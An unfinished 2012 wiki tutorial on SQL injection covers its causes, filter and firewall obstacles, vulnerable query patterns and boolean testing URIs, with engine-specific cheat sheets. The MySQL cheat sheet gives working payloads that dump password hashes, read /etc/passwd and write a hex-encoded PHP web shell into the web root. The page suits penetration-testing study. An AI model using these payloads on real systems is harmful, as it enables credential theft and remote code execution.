Revision as of 00:44, 25 February 2012

This page is in-progress. Be advised it is not final in any way.

SQL Injection

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically databases include things like (but not limited to):

• Authentication credentials
• Other identifying information about a user (like an IP address)
• Site configurations
• Site content and themes
• Communications between users within the site

Cause(s) of vulnerabilities

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

• Un-sanitized user input - The developer made no effort to stop an injection attack
• Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
• Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page

Exploitation Obstacles

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.

Configuration & Environment

Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources. Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (e.g. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver.

Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer.

Common Web Application Firewalls:

• Mod_Security (Apache)
• Naxsi (Nginx)
• ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper Sanitizing

Partial sanitizing

Partial sanitizing may affect any or more of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely:

• The space character (or all whitespace)
• The single quote character: '
• The double quote character: "
• The tag characters: < and >
• The equals character: =
• The comma character: ,
• The parenthesis characters: ( and )

Deprecated Sanitizing

Potential Target Environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application.

SQL Orientation

SQL Databases are made up of tables. Tables are created by the developer or architect and are empty on creation. Similar to a spreadsheet, a table's properties are defined by its columns. Columns can be different data types (strings, integers, booleans, floats, binary, etc).

Basic Queries

• SELECT - Select data from a table

Select statements have various clauses. We'll start with some simple data and work our way up.

• UPDATE
• INSERT
• DELETE

Navigating Unfamiliar Databases

The "normal" way

• mysql

  show databases
  show tables [in ...]
  show fields in [table_name]

• postgresql

  \l             - Lists all databases
  \dn            - Lists all schemas in the current database
  \dt            - Lists all tables in the current database
  \d [table_name]- Lists columns in table in the current database

The SQL injection way

• information_schema

• legacy tables

sysobjects,msysobjects,mysql.columns_priv

Databasing engines compared and contrasted in light of SQL Injection

Similarities

• information_schema
• function names
• environment variables
• Other syntax

Differences

• Code execution (Microsoft)
• Limit / Offset versus Top & Order By
• Syntax Issues/character concatenation

Remote testing for SQL injection vulnerabilities

Make sure to have written authorization from the site owner first!

Vulnerability types

SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.

• Standard vulnerabilities:

The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.

• Error-based vulnerabilities:

Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.

• Blind vulnerabilities:

Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.

Injection Points

• SELECT ... WHERE clause injection

 $query = "select * from table where id=$input";

• SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections

 $query = "select * from table limit $input";
 $query = "select * from table limit 1 offset $input";
 $query = "select * from table order by $input";
 $query = "select * from table group by $input";

• UPDATE ... SET clause injection

 $query = "update table set var=$input";

• UPDATE ... WHERE clause injection

 $query = "update table set var=value where column_name=$input";

• INSERT ... VALUES clause injection

 $query = "insert into table values(null,$input)";

Testing Inputs

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.

Simple "SELECT" Testing : Where clause injection

There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection. The most reliable of these tests consist of boolean challenges that modify the results a query returns. Boolean challenges will return zero rows if conditions are not meant, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test. In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:

        /article_by_id.php?id=10

A researcher could check that uri against:

        /article_by_id.php?id=10%20AND%201=1
        /article_by_id.php?id=10%20AND%201=0

When a page is vulnerable, the page on

        /article_by_id.php?id=10%20AND%201=1 will match the page on
        /article_by_id.php?id=10, however the page at 
        /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing.  

In our second example, using $title, the same affect can be achieved with the following URI's:

        /article_by_title.php?id=SQL%27%20AND%20%271%27=%270
        /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

The same methodology as the integer test applies, merely with added single quotes (%27).

Reconstructing injected Queries

Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:

         [original query]
         $query = "select * from articles where id=$id";
         [vulnerability testing query]
         $query = "select * from articles where id=10 and 1=1";
         $query = "select * from articles where id=10 and 1=0";

Or, alternatively, we can look at our $title example:

         [original query]
         $query = "select * from articles where title='$title'";
         [vulnerability testing query]
         $query = "select * from articles where title='SQL' and '1'='0'";
         $query = "select * from articles where title='SQL' and '1'='1'";

The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Intermediate: "SELECT" Testing : LIMIT, ORDER BY, and GROUP BY

Intermediate: "UPDATE" and "INSERT" injection testing using subqueries

Advanced: Overcoming extreme environments during testing

Exploitation

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Automation Theory

The most important thing when automating SQL injection is recognizing boundaries. To know when to stop incrementing loops, you'll need to know things like:

• Data types of single cells
• Length of single cell strings
• Number of rows returned by a query

Basic Injection with Union Select

Basic Injection with Error Handles

Advanced Injection: Boolean Enumeration

Advanced Injection: Timing attacks

Advanced Lookups using Subquery Injection

Bypassing improper sanitizing

Quotes

• 0x[hex]
• ascii codes

Mis-appropriated XSS Filtering (tags)

• between .. and

Commas & Equals Operator

• regular expressions

Whitespace Filtering

• bloody comments

Parenthesis

• limited to environment variables

Further Penetration

Obtaining filesystem access

• load_file()
• select ... into outfile
• load data [local] infile

Obtaining Code Execution

• Via web app
• Via into outfile

Cheat Sheets

testing

True/False Statements:

• Standard operators (Universal):

True: and 230984752 = 230984752

False: and 1023947182234 = 4382616621386497

• The Between ... And ... operators (Universal):

True: and 238829 between 238826 and 238927

False: and 328961 between 928172 and 986731

• The LIKE operator (Universal):

True: and 'sqltest' like 'sql%'

False: and 'sqltest' like 'not true'

• The REGEXP operator (RLIKE in Microsoft SQL, Universal):

True: and 'sqltest' regexp '^sql'

False: and 'sqltest' regexp '^false'

MySQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions & Environment Variables:

 version()
 user()
 current_database()
 count([column_name]) from [table_name]
 length([column_name]) from [table_name] [where or limit]
 substr([query],[byte_counter],1) 
 concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
 group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

• You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

Unprivileged Mysql 5+ User Schema Mapping

• Show Databases Equivilent:

 select schema_name from information_schema.schemata limit 1 offset 0

• Show Tables Equivilent

 select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

• Show Fields Equivilent

 select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

Privileged Mysql (Any version) User

• Get mysql usernames and password hashes:

 select concat(user,0x2f,password) from mysql.user limit 1

• Grab /etc/passwd

 select load_file(0x2f6574632f706173737764)

• Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

 select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

• Comment notations:

• Handy functions & Environment Variables:

 current_database()
 current_user()
 chr()
 ascii()
 substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select ".

• Congruent to select 'BASE TABLE';:

 (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

• Congruent to select 'pg_catalog';:

 (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))

• Congruent to select 'information_schema';:

 (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL Schema Mapping

• \dn equivilent:

 select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0

• \dt equivilent:

 select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0

• \d [table_name] equivilent:

 select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0

Microsoft SQL Schema Mapping (Unprivileged)

     select table_name from information_schema.columns where table_catalog=database() group by table_name;

     select column_name from information_schema.columns where table_catalog=database() and table_name='tablename' group by column_name

Microsoft SQL Exploitation (Privileged)

Further Reading

Content:

• SQL Backdoors
• Web exploitation
• MySQL

Tools:

• Mysql 5 Enumerator
• Vanguard
• Wordpress Fingerprinter